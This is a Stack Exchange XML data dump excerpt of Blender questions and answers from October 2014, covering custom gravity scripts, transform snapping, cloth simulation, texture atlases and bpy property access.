  <row Id="18104" PostTypeId="1" AcceptedAnswerId="18106" CreationDate="2014-10-23T03:45:03.357" Score="3" ViewCount="843" Body="&lt;p&gt;For example, if I want to make an controlled object move on the surface of a sphere (or a cube, or whatever else) and not fall off, what should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need it to jump, so I don't need &quot;sphere gravity&quot;, just to &quot;glue&quot; it (but if there's a simple way for sphere/cube gravity, you can tell me).&lt;/p&gt;&#xA;" OwnerUserId="7639" LastEditorUserId="599" LastEditDate="2014-10-23T07:56:54.220" LastActivityDate="2014-10-24T03:19:04.453" Title="Is there way to make an object gravitate or lock to the surface of another object?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18105" PostTypeId="1" CreationDate="2014-10-23T04:34:07.523" Score="3" ViewCount="1169" Body="&lt;p&gt;I'm working on a custom nodetree-based addon for scientific analysis. My code requires knowledge of the active nodetree in the current context (or alternatively the parent nodetree of a selected node) which I haven't been able to obtain yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed the addition of a &quot;get_from_context&quot; NodeTree class method in the 2.72 API changelog (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.NodeTree.html#bpy.types.NodeTree.get_from_context&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.NodeTree.html#bpy.types.NodeTree.get_from_context&lt;/a&gt;) which would be perfect. However when I try to call it from either bpy.types.NodeTree or an existing NodeTree object I get an attribute not found error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to call this method from the NodeTree class directly? Or does anyone else have this issue? I'm quite new to Blender python dev so it could be a stupid mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, does anyone know of a way to obtain a node's parent nodetree? &lt;/p&gt;&#xA;" OwnerUserId="7641" LastActivityDate="2015-05-02T11:14:15.423" Title="PyNodes: get active node tree from context in Blender 2.72" Tags="&lt;python&gt;&lt;scripting&gt;&lt;pynodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18106" PostTypeId="2" ParentId="18104" CreationDate="2014-10-23T05:14:53.300" Score="3" Body="&lt;p&gt;As far as I know, there is no way to specify the force of gravity per object. However, in world settings, you can set the global gravity to 0, and then you can apply whatever forces are actually required (to simulate desired gravity effects) via python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I wanted to attract physics-enabled objects to the faces of a cube, I could do it with the following script, running on that cube:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def apply(cont):&#xA;    cube = cont.owner&#xA;    for o in cube.scene.objects:&#xA;        normal = o.rayCast(cube, o)[2]&#xA;        if not normal: continue&#xA;        g = -normal * 9.8&#xA;        o.applyForce(g)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see,  I iterate over all objects in the scene, and I cast a ray from the object to the cube, in order to get the normal vector of the intersected face, which, when negated, represents the direction of the desired force I wish to apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it's just a matter of scaling that vector, and passing it to applyForce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a .blend that shows this script in action: &lt;a href=&quot;https://www.dropbox.com/s/aq9knwfd67fuxpo/custom_gravity.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;custom_gravity.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="6355" LastEditDate="2014-10-24T03:19:04.453" LastActivityDate="2014-10-24T03:19:04.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18107" PostTypeId="2" ParentId="18103" CreationDate="2014-10-23T05:56:52.917" Score="1" Body="&lt;h1&gt;Multiple objects&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This can be done with a combination of &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Transform_Snapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;transform snapping&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Snap&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D cursor snapping&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the cursor the the point vertex by selecting it in edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;) and pressing &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Cursor to selected&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WsbqG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;nofollow noreferrer&quot;&gt;pivot point&lt;/a&gt; to &lt;em&gt;3D cursor&lt;/em&gt; (&lt;kbd&gt;.&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;snap element&lt;/em&gt; to &lt;em&gt;vertex&lt;/em&gt; and the &lt;em&gt;snap target&lt;/em&gt; to &lt;em&gt;Center&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tVA4g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In object mode, grab the pointer object and move it over the target vertex while holding &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BgsHO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Single mesh&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If everything is in the same mesh, you don't even need to use the 3D cursor:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the geometry you want to move, making sure the vertex on the tip is &lt;em&gt;active&lt;/em&gt; (last selected, appears white):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZO91F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;snap target&lt;/em&gt; to &lt;em&gt;Active&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVLPO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap away by holding &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UEUp1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also enable snapping without holding &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; by clicking the magnet icon in &lt;em&gt;3D view &gt; header&lt;/em&gt;, then things will snap by default and holding &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; will make them &lt;em&gt;not&lt;/em&gt; snap.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-23T06:47:45.337" LastActivityDate="2014-10-23T06:47:45.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18108" PostTypeId="2" ParentId="18102" CreationDate="2014-10-23T06:23:26.737" Score="3" Body="&lt;h1&gt;Multiple objects&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are a couple ways I can think of. One way is to use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Custom_Orientations&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;custom transform orientations&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;), select the edge that you want to align the object to and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt; to create a new transform orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manipulator widget should align to the edge and you should see the selected transform orientation switch to the new custom one in &lt;em&gt;3D view &gt; header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FamJa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In object mode, select the object you wish to align and press &lt;em&gt;Align to transform orientation&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Object &gt; Transform&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PKZSL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your object's local X Y and Z axes will be aligned to the active transform orientation. This is probably not exactly what you want. In your case, since you just want to adjust the rotation of the first object around the Z, set the rotation along the other two axes to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ACACW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now we are closer, but still off by 90&amp;deg; around the Z. To fix this, just add 90:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BiH2X.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Single mesh&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You might be able to use custom transform orientations here too, but here's a different way just to mix it up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVlUF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did in the gif:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap one vertex on the transforming edge to a vertex on the target edge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the 3D cursor to the vertex which was just snapped to (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; cursor to selection&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the pivot to the 3D cursor (&lt;kbd&gt;.&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the snapping target to &lt;em&gt;edge&lt;/em&gt; and rotate the mesh (&lt;kbd&gt;R&lt;/kbd&gt;) until it snaps into place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should be able to apply this approach to multiple objects too.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-23T07:03:35.883" LastActivityDate="2014-10-23T07:03:35.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18109" PostTypeId="2" ParentId="18101" CreationDate="2014-10-23T06:41:08.157" Score="3" Body="&lt;h1&gt;Multiple objects:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For this you can use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Custom_Orientations&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom transform orientations&lt;/a&gt; again:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the face and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ag1FB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In object mode, select the object you wish to align and press &lt;em&gt;Align to transform orientation&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Object &gt; Transform&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dqnf6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once the object is aligned, use transform snapping with &lt;em&gt;face&lt;/em&gt; as the snapping element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the bottom of the spike thing is already the closest face to the target, then &lt;em&gt;closest&lt;/em&gt; should be fine as the snapping target. If not, use the 3D cursor trick as explained &lt;a href=&quot;https://blender.stackexchange.com/a/18107/599&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QT96y.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I think you should be able to use transform snapping for rotation too, but for no apparent reason there is an inexplicable gap when snapping without a pre-aligned model..&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sNRZX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I've &lt;a href=&quot;https://developer.blender.org/T42362&quot; rel=&quot;nofollow noreferrer&quot;&gt;reported this as a bug&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Single mesh:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A similar approach to &lt;a href=&quot;https://blender.stackexchange.com/a/18108/599&quot;&gt;this&lt;/a&gt; can be used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R2Imj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A custom transform orientation aligned to the target face will help too.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-10-23T07:19:34.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18110" PostTypeId="1" AcceptedAnswerId="18112" CreationDate="2014-10-23T07:00:07.987" Score="4" ViewCount="1148" Body="&lt;p&gt;Something is wrong with my cloth. &#xA;I made a wizard robe skirt but it goes out of shape when I bake it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;http://www.mediafire.com/download/d3opr9z8pjzpjkf/Help.blend&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="599" LastEditDate="2014-10-23T07:52:57.807" LastActivityDate="2014-10-23T07:54:01.500" Title="Pinning cloth to animated model is making cloth go crazy" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18111" PostTypeId="1" CreationDate="2014-10-23T07:41:48.770" Score="1" ViewCount="212" Body="&lt;p&gt;In an application I would like to get a gamer's name to use it later in my Python code. So far I am using &quot;Dynamic Text Display&quot; as shown in &lt;a href=&quot;http://www.youtube.com/watch?v=GKO4jfAHtjk&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=GKO4jfAHtjk&lt;/a&gt;. I find the procedure pretty complicated. In an older version of the appliction it worked, but now I get only black boxes instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h0WZW.png&quot; alt=&quot;Old version&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVneN.png&quot; alt=&quot;New version&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a lot of changes and don't know where I lost it. In the object I check I think everything according to the clip above. Still all black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to get the name from the keyboard events, but since I am using a german keyboard I run into trouble with our special characters. It seems that the program assumes an US keyboard. I even thought about changing the bge.events. EventToString() method to cover my keyboard type, or create a new one based on it. But I did not find the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I prefer a Python solution based on the keyboard events, getting the keyboard events right.&lt;/p&gt;&#xA;" OwnerUserId="7642" LastActivityDate="2014-10-23T07:52:05.913" Title="BGE: Getting keyboard entries on screen, entered characters are black" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18112" PostTypeId="2" ParentId="18110" CreationDate="2014-10-23T07:48:19.780" Score="5" Body="&lt;p&gt;There are few things that seem to be causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main thing was that the legs had a largish &lt;em&gt;outer&lt;/em&gt; collision margin which was causing the robe to collide constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing this to something like .004 on both legs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kZAYX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try making the skirt bigger initially. There has to be room for the legs to move ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9FMEV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also pinned the entire top edge loop instead of just the corner vertices, reduced the collision quality to about 3 and disabled self collision. These massively decreased the bake time without a lot of visual impact once the collision issue was fixed.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-23T07:54:01.500" LastActivityDate="2014-10-23T07:54:01.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18113" PostTypeId="2" ParentId="18111" CreationDate="2014-10-23T07:52:05.913" Score="2" Body="&lt;p&gt;Text objects are supported in the latest versions of blender (have been for a while now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example .blend (start game and type): &lt;a href=&quot;http://www.pasteall.org/blend/32301&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/32301&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, &quot;BFont&quot; is used, but you can set other TTF fonts, as you would normally for blender, and those should also work.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-23T07:52:05.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18114" PostTypeId="1" CreationDate="2014-10-23T08:10:24.350" Score="0" ViewCount="73" Body="&lt;p&gt;The duplicate question above is different from this question, is I need to boolean the text from a cilinder. And that requires converting it to a mesh, which messes up the text in similar matter shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do the following, but it doesn't yield nice results:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create some text&lt;/li&gt;&#xA;&lt;li&gt;Add Modifier &quot;Curve&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; -&gt; &quot;Mesh from curve&quot;&lt;/li&gt;&#xA;&lt;li&gt;Give it some dimension: Add modifier &quot;Solidify&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then the result looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IN2cf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See especially the 'e'. I want to use this curved text to cut out the text from a cilinder. But that will never work propery as the letters are already messed up. Without curving they look fine, but I want it curved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must be possible to have nice curved 3D text in blender! How can I achieve this? I finally want to print&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="7643" LastEditorUserId="7643" LastEditDate="2014-10-23T08:58:27.460" LastActivityDate="2014-10-23T08:58:27.460" Title="How to create 3D curved text the right way for boolean operations?" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;&lt;text-object&gt;&lt;3d-printing&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-10-23T08:15:48.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="18115" PostTypeId="1" CreationDate="2014-10-23T08:33:07.337" Score="2" ViewCount="954" Body="&lt;p&gt;I am using Metric and want to type text to export as a STL for my 3D Printer. Is there a method of knowing or setting up the text size in points (pt)? In all other programs I select the size and know that I need a size of say 155, how can I do this in Blender? The scale I have as 1.000 if that's correct?&lt;/p&gt;&#xA;" OwnerUserId="7644" LastEditorUserId="2217" LastEditDate="2014-10-23T20:56:17.027" LastActivityDate="2014-10-23T20:56:17.027" Title="How to set font size in points?" Tags="&lt;transforms&gt;&lt;text-object&gt;&lt;units&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18116" PostTypeId="1" CreationDate="2014-10-23T09:49:43.487" Score="2" ViewCount="791" Body="&lt;p&gt;I have a character that I created and built the armature for the character but I want it to make it so when the character touches his face, his face does something similar to the cloth simulation on this video on 4:20: &lt;a href=&quot;http://www.youtube.com/watch?v=wJFE2pb0Ri4&quot; rel=&quot;nofollow&quot;&gt;9 Ways to Destroy Things&lt;/a&gt; but much subtler.I know there needs to be another object to have a collision setup but can one object have a collision and cloth simulation at the same time so when the character touches himself, his mesh has been affected.&lt;/p&gt;&#xA;" OwnerUserId="1627" LastEditorUserId="29" LastEditDate="2014-10-23T21:41:57.213" LastActivityDate="2014-10-23T21:41:57.213" Title="Is it possible to apply cloth simulation and collision on a character?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18118" PostTypeId="1" AcceptedAnswerId="18119" CreationDate="2014-10-23T11:45:45.590" Score="5" ViewCount="2085" Body="&lt;p&gt;I have a few properties created like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.myprop = bpy.props.IntProperty(name=&quot;Myprop&quot;,default=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to save their values to a text file but don't know how to extract the actual value (saving just myprop saves all object data instead of just the int value).&#xA;How to get the actual value?&lt;/p&gt;&#xA;" OwnerUserId="4928" LastEditorUserId="4928" LastEditDate="2014-10-23T13:18:55.920" LastActivityDate="2014-10-23T13:18:55.920" Title="Get value from a bpy.types.Scene property" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18119" PostTypeId="2" ParentId="18118" CreationDate="2014-10-23T13:02:11.097" Score="6" Body="&lt;p&gt;You can access using &lt;code&gt;bpy.context.scene&lt;/code&gt; likes this: &lt;code&gt;print(bpy.context.scene.myprop)&lt;/code&gt; or set it equal to a variable: &lt;code&gt;value = bpy.context.scene.myprop&lt;/code&gt;, also in your post, make sure you have &lt;code&gt;IntProperty&lt;/code&gt; not &lt;code&gt;InProperty&lt;/code&gt; like you currently have.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-23T13:02:11.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18120" PostTypeId="2" ParentId="15562" CreationDate="2014-10-23T13:26:20.593" Score="5" Body="&lt;p&gt;Using basically the same idea as the answer from Leung Cheung you can use keyframes to animate the offset property for the image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the first frame (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;&amp;larr;&lt;/kbd&gt;), hover the offset property and press &lt;kbd&gt;I&lt;/kbd&gt; to insert a keyframe. Then navigate to the last frame and enter the new offset value (lower if you want to slow down the texture animation) and again insert a keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the F-Curve editor you can then adapt the speed of your texture animation. Even speed ramps are possible that way.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2014-10-23T13:38:04.007" LastActivityDate="2014-10-23T13:38:04.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18121" PostTypeId="1" AcceptedAnswerId="18123" CreationDate="2014-10-23T14:38:26.427" Score="4" ViewCount="1968" Body="&lt;p&gt;How to get Blender executable's file path in a Python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__file__&lt;/code&gt; gives me my addon's path, but I cannot be sure Blender is in the same folder tree, I guess.&lt;/p&gt;&#xA;" OwnerUserId="4928" LastEditorUserId="1363" LastEditDate="2014-10-23T15:01:04.977" LastActivityDate="2014-10-23T15:01:04.977" Title="Get path to Blender executable" Tags="&lt;python&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18122" PostTypeId="1" AcceptedAnswerId="18130" CreationDate="2014-10-23T14:43:47.630" Score="3" ViewCount="1261" Body="&lt;p&gt;I have a problem with the textures or actually with a very weird problem.&#xA;I have a big terrain which has over 100 000 vertices. And I have textured the whole terrain to the same texture file.(UV unwrapping)&#xA;Now I cutted my terrain to 64 pieces with the slicer tool(external). For performance issues I want to also cut the texture file. So I want to make texture file for every piece also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have 64 small part of the big terrain and one big texture atlas, where is all textures of the all parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool, addon or software which could read the texture coordinates of parts and pick it's textures from texture atlas and make new texture file where is only the textures of the that part?&#xA;Or is there easy way to do it manually? Or does blender have tehcnique for my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for answers&lt;/p&gt;&#xA;" OwnerUserId="7646" LastEditorUserId="7646" LastEditDate="2014-10-24T21:13:38.560" LastActivityDate="2014-10-24T21:13:38.560" Title="Cutting mesh textures" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18123" PostTypeId="2" ParentId="18121" CreationDate="2014-10-23T14:57:51.603" Score="8" Body="&lt;p&gt;You can get it using &lt;code&gt;bpy.app.binary_path&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.app.html?highlight=binary_path#bpy.app.binary_path&quot;&gt;Blender's API docs&lt;/a&gt; say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;bpy.app.binary_path&lt;/code&gt;:&lt;br&gt;&#xA;  The location of blenders executable, useful for utilities that spawn new instances`&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="1363" LastEditDate="2014-10-23T14:59:40.543" LastActivityDate="2014-10-23T14:59:40.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18124" PostTypeId="1" AcceptedAnswerId="18133" CreationDate="2014-10-23T15:40:28.120" Score="2" ViewCount="653" Body="&lt;p&gt;I was wondering how to find which text file is open in the text editor. I know you can find a list of the loaded files via &lt;code&gt;bpy.data.texts&lt;/code&gt;, but I can't seem to find a way to find the one that is being edited currently. &lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-23T19:15:41.193" Title="How to find what text file is open in text editor" Tags="&lt;python&gt;&lt;scripting&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
